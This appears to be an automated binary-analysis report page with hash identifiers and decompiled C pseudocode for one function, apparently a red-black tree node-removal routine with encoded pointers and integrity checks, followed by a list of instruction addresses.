API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: c5d69223ba6a233809d24e3463d1d9e5059e564d6413dcf3ecc15734307d3d13
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: E821D07A640238ABCB219B59D940FAFB7B9AB61B51F268435FD088B200D634DC0197E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1F900, Relevance: .9, Instructions: 863
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00A1F900(signed int _a4, signed int _a8) {
				signed char _v5;
				signed char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed char _t285;
				signed int _t289;
				signed char _t292;
				signed int _t293;
				signed char _t295;
				signed int _t300;
				signed int _t301;
				signed char _t306;
				signed char _t307;
				signed char _t308;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed char _t314;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t322;
				signed int _t323;
				signed int _t328;
				signed char _t329;
				signed int _t337;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				signed int _t348;
				signed char _t350;
				signed int _t351;
				signed char _t353;
				signed char _t356;
				signed int _t357;
				signed char _t359;
				signed int _t360;
				signed char _t363;
				signed int _t364;
				signed int _t366;
				signed int* _t372;
				signed char _t373;
				signed char _t378;
				signed int _t379;
				signed int* _t382;
				signed int _t383;
				signed char _t385;
				signed int _t387;
				signed int _t388;
				signed char _t390;
				signed int _t393;
				signed int _t395;
				signed char _t397;
				signed int _t401;
				signed int _t405;
				signed int _t407;
				signed int _t409;
				signed int _t410;
				signed int _t413;
				signed char _t415;
				signed int _t416;
				signed char _t418;
				signed int _t419;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed char* _t425;
				signed char _t426;
				signed char _t427;
				signed int _t428;
				signed int _t429;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t462;
				signed int _t464;
				signed int _t467;
				signed int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t477;
				signed int _t481;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;

				_t285 =  *(_a4 + 4);
				_t444 = _a8;
				_t452 =  *_t444;
				_t421 = _t285 & 1;
				if(_t421 != 0) {
					if(_t452 != 0) {
						_t452 = _t452 ^ _t444;
					}
				}
				_t393 =  *(_t444 + 4);
				if(_t421 != 0) {
					if(_t393 != 0) {
						_t393 = _t393 ^ _t444;
					}
				}
				_t426 = _t393;
				if(_t452 != 0) {
					_t426 = _t452;
				}
				_v5 = _t285 & 0x00000001;
				asm("sbb eax, eax");
				if((_t393 &  ~_t452) != 0) {
					_t289 = _t393;
					_t427 = _v5;
					_t422 = _t393;
					_v12 = _t393;
					_v16 = 1;
					if( *_t393 != 0) {
						_v16 = _v16 & 0x00000000;
						_t445 =  *_t393;
						goto L115;
						L116:
						_t289 = _t445;
						L117:
						_t445 =  *_t289;
						if(_t445 != 0) {
							L115:
							_t422 = _t289;
							if(_t427 != 0) {
								goto L183;
							}
							goto L116;
						} else {
							_t444 = _a8;
							_v12 = _t289;
							goto L27;
						}
						L183:
						if(_t445 == 0) {
							goto L116;
						}
						_t289 = _t289 ^ _t445;
						goto L117;
					}
					L27:
					if(_t427 != 0) {
						if(_t452 == 0) {
							goto L28;
						}
						_t428 = _t289 ^ _t452;
						L29:
						 *_t289 = _t428;
						_t429 =  *(_t452 + 8);
						_v20 = _t429;
						_t426 = _t429 & 0xfffffffc;
						_t292 =  *(_a4 + 4) & 0x00000001;
						_v6 = _t292;
						_t293 = _v12;
						if(_t292 != 0) {
							if(_t426 != 0) {
								_t426 = _t426 ^ _t452;
							}
						}
						if(_t426 != _t444) {
							L174:
							_t423 = 0x1d;
							asm("int 0x29");
							goto L175;
						} else {
							_t436 = _t293;
							if(_v6 != 0) {
								_t436 = _t436 ^ _t452;
							}
							_v20 = _v20 & 0x00000003;
							_v20 = _v20 | _t436;
							 *(_t452 + 8) = _v20;
							_t426 =  *(_t393 + 8) & 0xfffffffc;
							_t356 =  *(_a4 + 4) & 0x00000001;
							_v6 = _t356;
							_t357 = _v12;
							if(_t356 != 0) {
								if(_t426 != 0) {
									_t426 = _t426 ^ _t393;
								}
							}
							if(_t426 != _t444) {
								goto L174;
							} else {
								_t483 = _t393 ^ _t357;
								_v24 = _t483;
								if(_v6 == 0) {
									_v24 = _t357;
								}
								 *(_t393 + 8) =  *(_t393 + 8) & 0x00000003 | _v24;
								_t426 =  *(_t357 + 4);
								_t444 = _a8;
								_t359 =  *(_a4 + 4) & 0x00000001;
								_v6 = _t359;
								_t360 = _v12;
								_v24 = _t483;
								if(_t359 != 0) {
									_v24 = _t483;
									if(_t426 == 0) {
										goto L37;
									}
									_t426 = _t426 ^ _t360;
									L38:
									if(_v6 == 0) {
										_t483 = _t393;
									}
									_t413 =  *(_t360 + 8);
									 *(_t360 + 4) = _t483;
									_t452 = _t413 & 0xfffffffc;
									_v5 = _t413;
									_t363 =  *(_a4 + 4) & 0x00000001;
									_v6 = _t363;
									if(_t363 != 0) {
										_t364 = _v12;
										_v5 = _t413;
										if(_t452 == 0) {
											goto L41;
										}
										_v20 = _t452;
										_v20 = _v20 ^ _t364;
										L42:
										if(_v20 != _t422) {
											_v5 = _t413;
											if(_v6 == 0) {
												L199:
												_t366 = _v12;
												L200:
												if(_t452 != 0 || _t366 != _t422) {
													goto L174;
												} else {
													goto L43;
												}
											}
											_t366 = _v12;
											_v5 = _t413;
											if(_t452 == 0) {
												goto L199;
											}
											_t452 = _t452 ^ _t366;
											goto L200;
										}
										L43:
										_t486 =  *(_t444 + 8) & 0xfffffffc;
										if(_v6 != 0) {
											if(_t486 != 0) {
												_t486 = _t486 ^ _t444;
											}
											if(_v6 != 0 && _t486 != 0) {
												_t486 = _t486 ^ _t366;
											}
										}
										_t415 = _t413 & 0x00000003 | _t486;
										 *(_t366 + 8) = _t415;
										_t416 = _v12;
										 *(_t416 + 8) = ( *(_t444 + 8) ^ _t415) & 0x00000001 ^ _t415;
										_t452 =  *(_t444 + 8);
										_t372 = _a4;
										if((_t452 & 0xfffffffc) == 0) {
											if( *_t372 != _t444) {
												goto L174;
											} else {
												 *_t372 = _t416;
												goto L52;
											}
										} else {
											_t452 = _t452 & 0xfffffffc;
											_t378 = _t372[1] & 0x00000001;
											_v6 = _t378;
											if(_t378 != 0) {
												if(_t452 != 0) {
													_t452 = _t452 ^ _t444;
												}
											}
											_t379 =  *(_t452 + 4);
											if(_v6 != 0) {
												if(_t379 != 0) {
													_t379 = _t379 ^ _t452;
												}
											}
											_v24 = _t379;
											_t382 = _t452 + (0 | _v24 == _t444) * 4;
											_v28 = _t382;
											_t383 =  *_t382;
											if(_v6 != 0) {
												if(_t383 != 0) {
													_t383 = _t383 ^ _t452;
												}
											}
											if(_t383 != _t444) {
												goto L174;
											} else {
												if(_v6 != 0) {
													_t487 = _t452 ^ _t416;
												} else {
													_t487 = _t416;
												}
												 *_v28 = _t487;
												L52:
												_t373 = _v5;
												L12:
												_t452 = _a4;
												_v5 = _t373 & 0x00000001;
												if(( *(_t452 + 4) & 0x00000001) != 0) {
													if(_t426 == 0) {
														goto L13;
													}
													_t306 = _t422 ^ _t426;
													L14:
													_t444 = _v16;
													 *(_t422 + _t444 * 4) = _t306;
													if(_t426 != 0) {
														_t306 =  *(_t426 + 8) & 0xfffffffc;
														_t418 =  *(_t452 + 4) & 0x00000001;
														_v6 = _t418;
														_t419 = _v12;
														if(_t418 != 0) {
															if(_t306 != 0) {
																_t306 = _t306 ^ _t426;
															}
														}
														if(_t306 != _t419) {
															goto L174;
														} else {
															if(_v6 != 0) {
																if(_t422 != 0) {
																	_t422 = _t422 ^ _t426;
																}
															}
															 *(_t426 + 8) = _t422;
															L24:
															return _t306;
														}
													}
													if(_v5 != _t426) {
														goto L24;
													} else {
														_t395 = _t452;
														_t306 =  *(_t395 + 4);
														L17:
														_t446 = _t423;
														_t434 = _v16 ^ 0x00000001;
														_v24 = _t446;
														_v12 = _t434;
														_t452 =  *(_t423 + _t434 * 4);
														if((_t306 & 0x00000001) != 0) {
															if(_t452 == 0) {
																goto L18;
															}
															_t426 = _t452 ^ _t446;
															L19:
															if(( *(_t426 + 8) & 0x00000001) != 0) {
																_t310 =  *(_t426 + 8) & 0xfffffffc;
																_t444 = _t306 & 1;
																if(_t444 != 0) {
																	if(_t310 != 0) {
																		_t310 = _t310 ^ _t426;
																	}
																}
																if(_t310 != _t423) {
																	goto L174;
																} else {
																	if(_t444 != 0) {
																		if(_t452 != 0) {
																			_t452 = _t452 ^ _t423;
																		}
																	}
																	if(_t452 != _t426) {
																		goto L174;
																	} else {
																		_t452 =  *(_t423 + 8) & 0xfffffffc;
																		if(_t444 != 0) {
																			if(_t452 == 0) {
																				L170:
																				if( *_t395 != _t423) {
																					goto L174;
																				} else {
																					 *_t395 = _t426;
																					L140:
																					if(_t444 != 0) {
																						if(_t452 != 0) {
																							_t452 = _t452 ^ _t426;
																						}
																					}
																					 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t452;
																					_t300 =  *(_t426 + _v16 * 4);
																					if(_t444 != 0) {
																						if(_t300 == 0) {
																							goto L143;
																						}
																						_t300 = _t300 ^ _t426;
																						goto L142;
																					} else {
																						L142:
																						if(_t300 != 0) {
																							_t401 =  *(_t300 + 8);
																							_t452 = _t401 & 0xfffffffc;
																							if(_t444 != 0) {
																								if(_t452 != 0) {
																									_t452 = _t452 ^ _t300;
																								}
																							}
																							if(_t452 != _t426) {
																								goto L174;
																							} else {
																								if(_t444 != 0) {
																									_t481 = _t300 ^ _t423;
																								} else {
																									_t481 = _t423;
																								}
																								 *(_t300 + 8) = _t401 & 0x00000003 | _t481;
																								goto L143;
																							}
																						}
																						L143:
																						if(_t444 != 0) {
																							if(_t300 != 0) {
																								_t300 = _t300 ^ _t423;
																							}
																						}
																						 *(_t423 + _v12 * 4) = _t300;
																						_t454 = _t426;
																						if(_t444 != 0) {
																							_t455 = _t454 ^ _t423;
																							_t301 = _t455;
																						} else {
																							_t301 = _t423;
																							_t455 = _t454 ^ _t301;
																						}
																						 *(_t426 + _v16 * 4) = _t301;
																						_t395 = _a4;
																						if(_t444 == 0) {
																							_t455 = _t426;
																						}
																						 *(_t423 + 8) =  *(_t423 + 8) & 0x00000003 | _t455;
																						 *(_t426 + 8) =  *(_t426 + 8) & 0x000000fe;
																						 *(_t423 + 8) =  *(_t423 + 8) | 0x00000001;
																						_t426 =  *(_t423 + _v12 * 4);
																						_t306 =  *(_t395 + 4);
																						if((_t306 & 0x00000001) != 0) {
																							if(_t426 != 0) {
																								_t426 = _t426 ^ _t423;
																							}
																						}
																						_t446 = _v24;
																						goto L20;
																					}
																				}
																			}
																			_t452 = _t452 ^ _t423;
																		}
																		if(_t452 == 0) {
																			goto L170;
																		}
																		_t311 =  *(_t452 + 4);
																		if(_t444 != 0) {
																			if(_t311 != 0) {
																				_t311 = _t311 ^ _t452;
																			}
																		}
																		if(_t311 == _t423) {
																			if(_t444 != 0) {
																				L175:
																				_t295 = _t452 ^ _t426;
																				goto L169;
																			} else {
																				_t295 = _t426;
																				L169:
																				 *(_t452 + 4) = _t295;
																				goto L140;
																			}
																		} else {
																			_t312 =  *_t452;
																			if(_t444 != 0) {
																				if(_t312 != 0) {
																					_t312 = _t312 ^ _t452;
																				}
																			}
																			if(_t312 != _t423) {
																				goto L174;
																			} else {
																				if(_t444 != 0) {
																					_t314 = _t452 ^ _t426;
																				} else {
																					_t314 = _t426;
																				}
																				 *_t452 = _t314;
																				goto L140;
																			}
																		}
																	}
																}
															}
															L20:
															_t456 =  *_t426;
															_t307 = _t306 & 0x00000001;
															if(_t456 != 0) {
																if(_t307 != 0) {
																	_t456 = _t456 ^ _t426;
																}
																if(( *(_t456 + 8) & 0x00000001) == 0) {
																	goto L21;
																} else {
																	L56:
																	_t461 =  *(_t426 + _v12 * 4);
																	if(_t307 != 0) {
																		if(_t461 == 0) {
																			L59:
																			_t462 = _v16;
																			_t444 =  *(_t426 + _t462 * 4);
																			if(_t307 != 0) {
																				if(_t444 != 0) {
																					_t444 = _t444 ^ _t426;
																				}
																			}
																			 *(_t444 + 8) =  *(_t444 + 8) & 0x000000fe;
																			_t452 = _t462 ^ 0x00000001;
																			_t405 =  *(_t395 + 4) & 1;
																			_t316 =  *(_t444 + 8) & 0xfffffffc;
																			_v28 = _t405;
																			_v24 = _t452;
																			if(_t405 != 0) {
																				if(_t316 != 0) {
																					_t316 = _t316 ^ _t444;
																				}
																			}
																			if(_t316 != _t426) {
																				goto L174;
																			} else {
																				_t318 = _t452 ^ 0x00000001;
																				_v32 = _t318;
																				_t319 =  *(_t426 + _t318 * 4);
																				if(_t405 != 0) {
																					if(_t319 != 0) {
																						_t319 = _t319 ^ _t426;
																					}
																				}
																				if(_t319 != _t444) {
																					goto L174;
																				} else {
																					_t320 =  *(_t423 + _t452 * 4);
																					if(_t405 != 0) {
																						if(_t320 != 0) {
																							_t320 = _t320 ^ _t423;
																						}
																					}
																					if(_t320 != _t426) {
																						goto L174;
																					} else {
																						_t322 =  *(_t426 + 8) & 0xfffffffc;
																						if(_t405 != 0) {
																							if(_t322 != 0) {
																								_t322 = _t322 ^ _t426;
																							}
																						}
																						if(_t322 != _t423) {
																							goto L174;
																						} else {
																							_t464 = _t423 ^ _t444;
																							_t323 = _t464;
																							if(_t405 == 0) {
																								_t323 = _t444;
																							}
																							 *(_t423 + _v24 * 4) = _t323;
																							_t407 = _v28;
																							if(_t407 != 0) {
																								if(_t423 != 0) {
																									L72:
																									 *(_t444 + 8) =  *(_t444 + 8) & 0x00000003 | _t464;
																									_t328 =  *(_t444 + _v24 * 4);
																									if(_t407 != 0) {
																										if(_t328 == 0) {
																											L74:
																											if(_t407 != 0) {
																												if(_t328 != 0) {
																													_t328 = _t328 ^ _t426;
																												}
																											}
																											 *(_t426 + _v32 * 4) = _t328;
																											_t467 = _t426 ^ _t444;
																											_t329 = _t467;
																											if(_t407 == 0) {
																												_t329 = _t426;
																											}
																											 *(_t444 + _v24 * 4) = _t329;
																											if(_v28 == 0) {
																												_t467 = _t444;
																											}
																											_t395 = _a4;
																											_t452 = _t426;
																											 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t467;
																											_t426 = _t444;
																											L80:
																											 *(_t426 + 8) =  *(_t426 + 8) ^ ( *(_t426 + 8) ^  *(_t423 + 8)) & 0x00000001;
																											 *(_t423 + 8) =  *(_t423 + 8) & 0x000000fe;
																											 *(_t452 + 8) =  *(_t452 + 8) & 0x000000fe;
																											_t337 =  *(_t426 + 8) & 0xfffffffc;
																											_t444 =  *(_t395 + 4) & 1;
																											if(_t444 != 0) {
																												if(_t337 != 0) {
																													_t337 = _t337 ^ _t426;
																												}
																											}
																											if(_t337 != _t423) {
																												goto L174;
																											} else {
																												_t339 =  *(_t423 + _v12 * 4);
																												if(_t444 != 0) {
																													if(_t339 != 0) {
																														_t339 = _t339 ^ _t423;
																													}
																												}
																												if(_t339 != _t426) {
																													goto L174;
																												} else {
																													_t452 =  *(_t423 + 8) & 0xfffffffc;
																													if(_t444 != 0) {
																														if(_t452 == 0) {
																															L160:
																															if( *_t395 != _t423) {
																																goto L174;
																															} else {
																																 *_t395 = _t426;
																																L93:
																																if(_t444 != 0) {
																																	if(_t452 != 0) {
																																		_t452 = _t452 ^ _t426;
																																	}
																																}
																																_t409 = _v16;
																																 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t452;
																																_t343 =  *(_t426 + _t409 * 4);
																																if(_t444 != 0) {
																																	if(_t343 == 0) {
																																		goto L96;
																																	}
																																	_t343 = _t343 ^ _t426;
																																	goto L95;
																																} else {
																																	L95:
																																	if(_t343 != 0) {
																																		_t410 =  *(_t343 + 8);
																																		_t452 = _t410 & 0xfffffffc;
																																		if(_t444 != 0) {
																																			if(_t452 != 0) {
																																				_t452 = _t452 ^ _t343;
																																			}
																																		}
																																		if(_t452 != _t426) {
																																			goto L174;
																																		} else {
																																			if(_t444 != 0) {
																																				_t474 = _t343 ^ _t423;
																																			} else {
																																				_t474 = _t423;
																																			}
																																			 *(_t343 + 8) = _t410 & 0x00000003 | _t474;
																																			_t409 = _v16;
																																			goto L96;
																																		}
																																	}
																																	L96:
																																	if(_t444 != 0) {
																																		if(_t343 != 0) {
																																			_t343 = _t343 ^ _t423;
																																		}
																																	}
																																	 *(_t423 + _v12 * 4) = _t343;
																																	if(_t444 != 0) {
																																		_t345 = _t426 ^ _t423;
																																		_t470 = _t345;
																																	} else {
																																		_t345 = _t423;
																																		_t470 = _t426 ^ _t345;
																																	}
																																	 *(_t426 + _t409 * 4) = _t345;
																																	if(_t444 == 0) {
																																		_t470 = _t426;
																																	}
																																	_t306 =  *(_t423 + 8) & 0x00000003 | _t470;
																																	 *(_t423 + 8) = _t306;
																																	goto L24;
																																}
																															}
																														}
																														_t452 = _t452 ^ _t423;
																													}
																													if(_t452 == 0) {
																														goto L160;
																													}
																													_t348 =  *(_t452 + 4);
																													if(_t444 != 0) {
																														if(_t348 != 0) {
																															_t348 = _t348 ^ _t452;
																														}
																													}
																													if(_t348 == _t423) {
																														if(_t444 != 0) {
																															_t350 = _t452 ^ _t426;
																														} else {
																															_t350 = _t426;
																														}
																														 *(_t452 + 4) = _t350;
																														goto L93;
																													} else {
																														_t351 =  *_t452;
																														if(_t444 != 0) {
																															if(_t351 != 0) {
																																_t351 = _t351 ^ _t452;
																															}
																														}
																														if(_t351 != _t423) {
																															goto L174;
																														} else {
																															if(_t444 != 0) {
																																_t353 = _t452 ^ _t426;
																															} else {
																																_t353 = _t426;
																															}
																															 *_t452 = _t353;
																															goto L93;
																														}
																													}
																												}
																											}
																										}
																										_t328 = _t328 ^ _t444;
																									}
																									if(_t328 != 0) {
																										_t475 =  *(_t328 + 8);
																										_v20 = _t475;
																										_t452 = _t475 & 0xfffffffc;
																										if(_t407 != 0) {
																											if(_t452 != 0) {
																												_t452 = _t452 ^ _t328;
																											}
																										}
																										if(_t452 != _t444) {
																											goto L174;
																										} else {
																											if(_t407 != 0) {
																												_t477 = _t328 ^ _t426;
																											} else {
																												_t477 = _t426;
																											}
																											_v20 = _v20 & 0x00000003;
																											_v20 = _v20 | _t477;
																											 *(_t328 + 8) = _v20;
																											goto L74;
																										}
																									}
																									goto L74;
																								}
																							}
																							_t464 = _t423;
																							goto L72;
																						}
																					}
																				}
																			}
																		}
																		_t452 = _t461 ^ _t426;
																	}
																	if(_t452 == 0 || ( *(_t452 + 8) & 0x00000001) == 0) {
																		goto L59;
																	} else {
																		goto L80;
																	}
																}
															}
															L21:
															_t457 =  *(_t426 + 4);
															if(_t457 != 0) {
																if(_t307 != 0) {
																	_t457 = _t457 ^ _t426;
																}
																if(( *(_t457 + 8) & 0x00000001) == 0) {
																	goto L22;
																} else {
																	goto L56;
																}
															}
															L22:
															_t308 =  *(_t423 + 8);
															if((_t308 & 0x00000001) == 0) {
																 *(_t426 + 8) =  *(_t426 + 8) | 0x00000001;
																_t306 =  *(_t395 + 4);
																_t431 =  *(_t423 + 8) & 0xfffffffc;
																_t397 = _t306 & 0x00000001;
																if(_t397 != 0) {
																	if(_t431 == 0) {
																		goto L110;
																	}
																	_t423 = _t423 ^ _t431;
																	L111:
																	if(_t423 == 0) {
																		goto L24;
																	}
																	_t432 =  *(_t423 + 4);
																	if(_t397 != 0) {
																		if(_t432 != 0) {
																			_t432 = _t432 ^ _t423;
																		}
																	}
																	_v16 = 0 | _t432 == _t446;
																	_t395 = _a4;
																	goto L17;
																}
																L110:
																_t423 = _t431;
																goto L111;
															} else {
																_t306 = _t308 & 0x000000fe;
																 *(_t423 + 8) = _t306;
																 *(_t426 + 8) =  *(_t426 + 8) | 0x00000001;
																goto L24;
															}
														}
														L18:
														_t426 = _t452;
														goto L19;
													}
												}
												L13:
												_t306 = _t426;
												goto L14;
											}
										}
									}
									L41:
									_t366 = _v12;
									_v20 = _t452;
									goto L42;
								}
								L37:
								_t483 = _v24;
								goto L38;
							}
						}
					}
					L28:
					_t428 = _t452;
					goto L29;
				}
				_t385 = _v5;
				_t422 =  *(_t444 + 8) & 0xfffffffc;
				if(_t385 != 0) {
					if(_t422 != 0) {
						_t422 = _t422 ^ _t444;
					}
				}
				_v12 = _t444;
				if(_t422 == 0) {
					if(_t426 != 0) {
						 *(_t426 + 8) =  *(_t426 + 8) & 0x00000000;
					}
					_t425 = _a4;
					if( *_t425 != _t444) {
						goto L174;
					} else {
						_t425[4] = _t426;
						_t306 = _t425[4] & 0x00000001;
						if(_t306 != 0) {
							_t425[4] = _t425[4] | 0x00000001;
						}
						 *_t425 = _t426;
						goto L24;
					}
				} else {
					_t452 =  *(_t422 + 4);
					if(_t385 != 0) {
						if(_t452 != 0) {
							_t452 = _t452 ^ _t422;
						}
					}
					if(_t452 == _t444) {
						_v16 = 1;
						L11:
						_t373 =  *(_t444 + 8);
						goto L12;
					} else {
						_t387 =  *_t422;
						if(_v5 != 0) {
							if(_t387 != 0) {
								_t387 = _t387 ^ _t422;
							}
						}
						if(_t387 != _t444) {
							goto L174;
						} else {
							_t488 = _a4;
							_v16 = _v16 & 0x00000000;
							_t388 =  *(_t488 + 4);
							_v24 = _t388;
							if((_t388 & 0xfffffffe) == _t444) {
								if(_t426 != 0) {
									 *(_t488 + 4) = _t426;
									if((_v24 & 0x00000001) != 0) {
										_t390 = _t426;
										L228:
										 *(_t488 + 4) = _t390 | 0x00000001;
									}
									goto L11;
								}
								 *(_t488 + 4) = _t422;
								if((_v24 & 0x00000001) == 0) {
									goto L11;
								} else {
									_t390 = _t422;
									goto L228;
								}
							}
							goto L11;
						}
					}
				}
			}

0x00a1f90b
0x00a1f911
0x00a1f917
0x00a1f919
0x00a1f91c
0x00a75d63
0x00a75d69
0x00a75d69
0x00a75d63
0x00a1f922
0x00a1f927
0x00a75d72
0x00a75d78
0x00a75d78
0x00a75d72
0x00a1f92d
0x00a1f931
0x00a1fa2d
0x00a1fa2d
0x00a1f939
0x00a1f940
0x00a1f944
0x00a1fa37
0x00a1fa39
0x00a1fa3c
0x00a1fa3e
0x00a1fa41
0x00a1fa48
0x00a1fe68
0x00a1fe6c
0x00a1fe6c
0x00a1fe78
0x00a1fe78
0x00a1fe7a
0x00a1fe7a
0x00a1fe7e
0x00a1fe6e
0x00a1fe6e
0x00a1fe72
0x00000000
0x00000000
0x00000000
0x00a1fe80
0x00a1fe80
0x00a1fe83
0x00000000
0x00a1fe83
0x00a75d7f
0x00a75d81
0x00000000
0x00000000
0x00a75d87
0x00000000
0x00a75d87
0x00a1fa4e
0x00a1fa50
0x00a75d90
0x00000000
0x00000000
0x00a75d98
0x00a1fa58
0x00a1fa58
0x00a1fa5d
0x00a1fa60
0x00a1fa63
0x00a1fa69
0x00a1fa6b
0x00a1fa6e
0x00a1fa71
0x00a75da1
0x00a75da7
0x00a75da7
0x00a75da1
0x00a1fa79
0x00a20071
0x00a20073
0x00a20074
0x00000000
0x00a1fa7f
0x00a1fa83
0x00a1fa85
0x00a75dae
0x00a75dae
0x00a1fa8b
0x00a1fa8f
0x00a1fa98
0x00a1faa1
0x00a1faa4
0x00a1faa6
0x00a1faa9
0x00a1faac
0x00a75db7
0x00a75dbd
0x00a75dbd
0x00a75db7
0x00a1fab4
0x00000000
0x00a1faba
0x00a1fabc
0x00a1fac2
0x00a1fac5
0x00a1fac7
0x00a1fac7
0x00a1fad6
0x00a1fad9
0x00a1fadf
0x00a1fae2
0x00a1fae4
0x00a1fae7
0x00a1faea
0x00a1faed
0x00a75dc4
0x00a75dc9
0x00000000
0x00000000
0x00a75dcf
0x00a1faf6
0x00a1fafa
0x00a1fafc
0x00a1fafc
0x00a1fafe
0x00a1fb01
0x00a1fb09
0x00a1fb0c
0x00a1fb12
0x00a1fb14
0x00a1fb17
0x00a75dd6
0x00a75dd9
0x00a75dde
0x00000000
0x00000000
0x00a75de4
0x00a75de7
0x00a1fb29
0x00a1fb2c
0x00a75df3
0x00a75df6
0x00a75e06
0x00a75e0c
0x00a75e0f
0x00a75e11
0x00000000
0x00a75e1f
0x00000000
0x00a75e1f
0x00a75e11
0x00a75df8
0x00a75dfb
0x00a75e00
0x00000000
0x00000000
0x00a75e02
0x00000000
0x00a75e02
0x00a1fb32
0x00a1fb35
0x00a1fb3c
0x00a75e26
0x00a75e28
0x00a75e28
0x00a75e2e
0x00a75e3c
0x00a75e3c
0x00a75e2e
0x00a1fb45
0x00a1fb47
0x00a1fb53
0x00a1fb56
0x00a1fb59
0x00a1fb5c
0x00a1fb65
0x00a2000d
0x00000000
0x00a2000f
0x00a2000f
0x00000000
0x00a2000f
0x00a1fb6b
0x00a1fb6e
0x00a1fb71
0x00a1fb73
0x00a1fb76
0x00a75e45
0x00a75e4b
0x00a75e4b
0x00a75e45
0x00a1fb80
0x00a1fb83
0x00a75e54
0x00a75e5a
0x00a75e5a
0x00a75e54
0x00a1fb89
0x00a1fb98
0x00a1fb9b
0x00a1fb9e
0x00a1fba0
0x00a75e63
0x00a75e69
0x00a75e69
0x00a75e63
0x00a1fba8
0x00000000
0x00a1fbae
0x00a1fbb2
0x00a75e70
0x00a1fbb8
0x00a1fbb8
0x00a1fbb8
0x00a1fbbd
0x00a1fbbf
0x00a1fbbf
0x00a1f9a8
0x00a1f9a8
0x00a1f9ad
0x00a1f9b4
0x00a75eda
0x00000000
0x00000000
0x00a75ee2
0x00a1f9bc
0x00a1f9bc
0x00a1f9bf
0x00a1f9c4
0x00a1fde6
0x00a1fde9
0x00a1fdec
0x00a1fdef
0x00a1fdf2
0x00a75eeb
0x00a75ef1
0x00a75ef1
0x00a75eeb
0x00a1fdfa
0x00000000
0x00a1fe00
0x00a1fe04
0x00a75efa
0x00a75f00
0x00a75f00
0x00a75efa
0x00a1fe0a
0x00a1fa24
0x00a1fa2a
0x00a1fa2a
0x00a1fdfa
0x00a1f9cd
0x00000000
0x00a1f9cf
0x00a1f9cf
0x00a1f9d1
0x00a1f9d4
0x00a1f9d7
0x00a1f9d9
0x00a1f9dc
0x00a1f9df
0x00a1f9e2
0x00a1f9e7
0x00a75f09
0x00000000
0x00000000
0x00a75f11
0x00a1f9ef
0x00a1f9f3
0x00a1fed5
0x00a1fed8
0x00a1fedb
0x00a75f1a
0x00a75f20
0x00a75f20
0x00a75f1a
0x00a1fee3
0x00000000
0x00a1fee9
0x00a1feeb
0x00a75f29
0x00a75f2f
0x00a75f2f
0x00a75f29
0x00a1fef3
0x00000000
0x00a1fef9
0x00a1fefc
0x00a1ff01
0x00a75f38
0x00a20052
0x00a20054
0x00000000
0x00a20056
0x00a20056
0x00a1ff40
0x00a1ff42
0x00a75f6e
0x00a75f74
0x00a75f74
0x00a75f6e
0x00a1ff50
0x00a1ff56
0x00a1ff5b
0x00a75f7d
0x00000000
0x00000000
0x00a75f83
0x00000000
0x00a1ff61
0x00a1ff61
0x00a1ff63
0x00a20021
0x00a20026
0x00a2002b
0x00a2007e
0x00a20080
0x00a20080
0x00a2007e
0x00a2002f
0x00000000
0x00a20031
0x00a20033
0x00a20086
0x00a20035
0x00a20035
0x00a20035
0x00a2003c
0x00000000
0x00a2003c
0x00a2002f
0x00a1ff69
0x00a1ff6b
0x00a75f8c
0x00a75f92
0x00a75f92
0x00a75f8c
0x00a1ff74
0x00a1ff77
0x00a1ff7b
0x00a75f99
0x00a75f9b
0x00a1ff81
0x00a1ff81
0x00a1ff83
0x00a1ff83
0x00a1ff88
0x00a1ff8b
0x00a1ff90
0x00a1ff92
0x00a1ff92
0x00a1ff9c
0x00a1ffa2
0x00a1ffa6
0x00a1ffaa
0x00a1ffad
0x00a1ffb2
0x00a75fa4
0x00a75faa
0x00a75faa
0x00a75fa4
0x00a1ffb8
0x00000000
0x00a1ffb8
0x00a1ff5b
0x00a20054
0x00a75f3e
0x00a75f3e
0x00a1ff09
0x00000000
0x00000000
0x00a1ff0f
0x00a1ff14
0x00a75f47
0x00a75f4d
0x00a75f4d
0x00a75f47
0x00a1ff1c
0x00a20046
0x00a20076
0x00a20078
0x00000000
0x00a20048
0x00a20048
0x00a2004a
0x00a2004a
0x00000000
0x00a2004a
0x00a1ff22
0x00a1ff22
0x00a1ff26
0x00a75f56
0x00a75f5c
0x00a75f5c
0x00a75f56
0x00a1ff2e
0x00000000
0x00a1ff34
0x00a1ff36
0x00a75f65
0x00a1ff3c
0x00a1ff3c
0x00a1ff3c
0x00a1ff3e
0x00000000
0x00a1ff3e
0x00a1ff2e
0x00a1ff1c
0x00a1fef3
0x00a1fee3
0x00a1f9f9
0x00a1f9f9
0x00a1f9fb
0x00a1f9ff
0x00a1fbd5
0x00a75fb1
0x00a75fb1
0x00a1fbdf
0x00000000
0x00a1fbe5
0x00a1fbe5
0x00a1fbe8
0x00a1fbed
0x00a75fdf
0x00a1fc01
0x00a1fc01
0x00a1fc04
0x00a1fc09
0x00a75fee
0x00a75ff4
0x00a75ff4
0x00a75fee
0x00a1fc0f
0x00a1fc13
0x00a1fc1d
0x00a1fc20
0x00a1fc23
0x00a1fc26
0x00a1fc2b
0x00a75ffd
0x00a76003
0x00a76003
0x00a75ffd
0x00a1fc33
0x00000000
0x00a1fc39
0x00a1fc3b
0x00a1fc3e
0x00a1fc41
0x00a1fc46
0x00a7600c
0x00a76012
0x00a76012
0x00a7600c
0x00a1fc4e
0x00000000
0x00a1fc54
